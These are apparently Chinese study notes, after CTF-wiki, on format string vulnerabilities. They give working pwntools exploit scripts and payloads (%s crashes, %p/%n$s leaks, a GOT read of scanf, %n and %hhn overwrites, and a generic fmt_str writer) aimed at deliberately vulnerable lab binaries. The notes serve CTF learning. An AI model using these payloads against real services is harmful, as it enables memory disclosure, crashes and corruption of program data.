wiki上的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro-zh/
一(1)格式化字符串
格式化占位符(format placeholder),语法是:
%[parameter][flags][field width][.precision][length]type
维基百科搜索格式化字符串,会有每一种 pattern 的含义的更详细的讲解https://www.bk.gugeso.site/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2
以下几个 pattern 中的对应选择需要重点关注:
一(2)格式化字符串漏洞原理
上面说,格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说'%s'表明我们会输出一个字符串参数。
继续介绍这个例子:
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下
some value
3.14
123456
addr of "red"
addr of format string: Color %s...
注:这里我们假设 3.14 上面的值为某个未知的值。
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
- 当前字符不是 %,直接输出到相应标准输出。
- 当前字符是 %, 继续读取下一个字符
- 如果没有字符,报错
- 如果下一个字符是 %, 输出 %
- 否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子
printf("Color %s, Number %d, Float %4.2f");
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
- 解析其地址对应的字符串
- 解析其内容对应的整形值
- 解析其内容对应的浮点值
对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。
这基本就是格式化字符串漏洞的基本原理了。
二、格式化字符串漏洞利用
格式化字符串漏洞的两个利用手段
- 使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大。
- 查看进程内容,根据 %d,%f 输出了栈上的内容。
二(1)程序崩溃
通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可
%s%s%s%s%s%s%s%s%s%s%s%s%s%s
这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。
二(2)泄露内存
利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作
- 泄露栈内存
- 获取某个变量的值
- 获取某个变量对应地址的内存
- 泄露任意地址内存
- 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
- 盲打,dump 整个程序,获取有用信息。
①泄露栈内存
文件leakmemory.c
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
终端内编译文件
出现了警报gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
获取栈变量数值(%x,%p)
我们调试一下,gdb leakmemory,在printf下断点b printf,运行r,输入 %08x.%08x.%08x,停在第一次执行printf时,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。
停在第二次执行printf时,程序会将栈上的 0xffffced4 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。
c继续
用%p类似,使用 %p 来获取数据
c继续
c继续
这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。
直接获取栈中被视为第 n+1 个参数的值
%n$x
为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。
再次gdb调试,输入%3$x
c继续
获取栈变量对应字符串 ( %s )
gdb调试,第二个printf
c继续
可以看出,在第二次执行 printf 函数的时候,确实是将红框处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。
当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。
我们也可以指定获取栈上第n个参数作为格式化字符串输出,即函数(printf) 的第 n+1 个参数
%n$s
小技巧总结
1.利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
2.利用 %s 来获取变量所对应地址的内容,只不过有零截断。
3.利用
%order$x
来获取指定参数的值,利用
%order$s
来获取指定参数对应地址的内容。
②泄露任意地址内存
有时候,我们可能会想要泄露某一个 libc 函数的 got 表内容而获取 libc 版本等,我们想要完全控制泄露某个指定地址的内存。一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。
如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。
addr%k$s
注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节。
确定该格式化字符串为第几个参数
[tag]%p%p%p%p%p%p...
一般来说,我们会重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。这里我们利用字符'A'作为特定字符,同时还是利用之前编译好的程序,如下
由 0x41414141(AAAA) 所处在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第 5 个参数,但是是格式化字符串的第 4 个参数。 试着验证
gdb leakmemory,然后b printf,r,输入%4$s
显然 0xffffcee0 处所对应的格式化字符串所对应的变量值 0x73243425 并不能够被改程序访问,所以程序就自然崩溃了。那么如果我们设置一个可访问的地址,例如 scanf@got,那我们就可以输出 scanf 对应的地址了
下面我们利用 pwntools 构造 payload 如下,命名为exploit.py
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
运行脚本,可以看到我们的第四个参数确实指向我们的 scanf 的地址但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取(这句话感觉怪怪的),有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。
[padding][addr]
注意
我们不能直接在命令行输入 \ x0c\xa0\x04\x08%4$s 这是因为虽然前面的确实是 printf@got 的地址,但是,scanf 函数并不会将其识别为对应的字符串,而是会将\,x,0,c 分别作为一个字符进行读入。
二(3)覆盖内存
只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,①一部分为覆盖栈上的变量,②第二部分为覆盖指定地址的变量。
给出如下的程序来介绍相应的部分。
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
makefile 在对应的文件夹中。
编译
gcc -m32 -fno-stack-protector -no-pie -o overflow overflow.c
而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的 payload
...[overwrite addr]....%[overwrite offset]$n
其中... 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤
- 确定覆盖地址
- 确定相对偏移
- 进行覆盖
①覆盖栈内存
确定覆盖地址
首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。
确定相对偏移
其次,我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()。
输入gdb overflow,b printf,r
输入c,%d%d
我们可以发现在 0xffffcf3c 处存储着变量 c 的数值。继而,我们再确定格式化字符串'%d%d'的地址 0xffffced8 相对于 printf 函数的格式化字符串参数 0xffffcec0 的偏移为 0x18,即格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数。
进行覆盖
第 6 个参数处的值就是存储变量 c 的地址,我们便可以利用 %n 的特征来修改 c 的值。payload 如下
[addr of c]%012d%6$n
addr of c 的长度为 4,故而我们得再输入 12 个字符才可以达到 16 个字符,以便于来修改 c 的值为 16。(要改的值为16,那%6$n前面就有16个字符)
exploit.py如下
from pwn import *
def forc():
sh = process('./overflow')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
forc()
c_addr = int(sh.recvuntil('\n', drop=True), 16) ,这句话的drop不知道是什么意思
运行python exploit.py覆盖任意地址内存
覆盖小数字
首先,我们来考虑一下如何修改 data 段的变量为一个较小的数字,比如说,小于机器字长的数字。这里以 2 为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长(4 或 8) 个字节。显然,无论之后如何输出,都只会比 4 大。
或许我们可以使用整型溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。
如果我们把 tag 放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串为第 6 个参数。由于我们想要把 2 写到对应的地址处,故而格式化字符串的前面的字节必须是
aa%k$nxx
此时对应的存储的格式化字符串已经占据了 6 个字符的位置,如果我们再添加两个字符 aa,那么其实 aa%k 就是第 6 个参数,$nxx 其实就是第 7 个参数,后面我们如果跟上我们要覆盖的地址,那就是第 8 个参数,所以如果我们这里设置 k 为 8,其实就可以覆盖了。(要改的值为2,那%8$n前面就有2个字符。后面补两个字符可以使覆盖地址刚好处于4的倍数的位置)
利用ida看出a的地址为0x0804A024,(由于 a、b 是已初始化的全局变量,因此不在堆栈中)。
exploit_a.py如下
from pwn import *
def fora():
sh = process('./overflow')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()
fora()
运行python exploit_a.py,成功modify 覆盖大数字
我们可以选择直接一次性输出大数字那么多个的字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,会有新方法。
不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。这里,我们以单字节为例。
首先,我们还是要确定的是要覆盖的地址为多少,利用 ida 看一下,可以发现b的地址为 0x0804A028。
即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12
首先,由于我们的字符串的偏移为 6,所以我们可以确定我们的 payload 基本是这个样子的
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
先贴一个网址https://blog.csdn.net/qq_38025365/article/details/88315352
我的覆盖大数字就是从这里看懂的,先以实例入手,然后再分析wiki上的函数,一个通用的模板。
脚本为:
from pwn import *
sh = process('./overflow')
overflow = ELF('./overflow')
b_addr = 0x0804A028
payload = p32(b_addr) + p32(b_addr+1) + p32(b_addr+2) + p32(b_addr+3) #分别向每个地址写入单字节值
#0x78 in b_addr
if len(payload) < 0x78:
result = 0x78 - len(payload)
elif len(payload) == 0x78:
result = 0
else:
result = 256 + 0x78 - len(payload) #256(0x100)写入时为0,所以最终值会模256
payload += '%' + str(result) +'c' + '%6$hhn'
result = 256+0x56-0x78 #因为之前已经输入了0x78个字符,转化为hh单字节字符的值会模256,所以这里的值会变成0x56个。以下类推。
payload +='%' + str(result) +'c' + '%7$hhn'
result = 256+0x34-0x56
payload +='%' + str(result) +'c' + '%8$hhn'
result = 256+0x12-0x34
payload +='%' + str(result) +'c' + '%9$hhn'
sh.sendline(payload)
print sh.recv()
sh.interactive()
这里的ABCD分别指在% 6789前应该填入的字符数量,使其补齐0x78,0x56,0x34,0x12。
这里的地址是\x78\x56\x34\x12,78h>56h>34h>12h,如果前面的数比后面的数大,就要后面的数加256减前面的数,如果是0x87654321,\x21\x43\x65\x87,21h<43h<65h<87h,就直接用后面的大数字减小数字即可。
wiki的脚本:
#coding=utf8
from pwn import *
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"#填充字符
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
#target >> i * 8表示右移了i*8个二进制位,也就是每次都右移2个十六进制位,任何数&0都等于0,任何数&1都等于1,所以&000000ff就相当于只取了最后两位,
prev = (target >> i * 8) & 0xff
return payload
def forb():
sh = process('./overflow')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()
forb()
def fmt(prev, word, index)的每个参数的含义如下
prev 小端序存储中相对排前面的那个
word 相对排后面的那个
(例如这里的0x56和0x34就是相对的前后。)
index 表示格式化字符串的第几个参数(这里是6789)
def fmt_str(offset, size, addr, target)每个参数的含义如下
offset 表示要覆盖的地址最初的偏移
size 表示机器字长 4/8
addr 表示将要覆盖的地址。
target 表示我们要覆盖为的目的变量值。
这里是payload = fmt_str(6, 4, 0x0804A028, 0x12345678)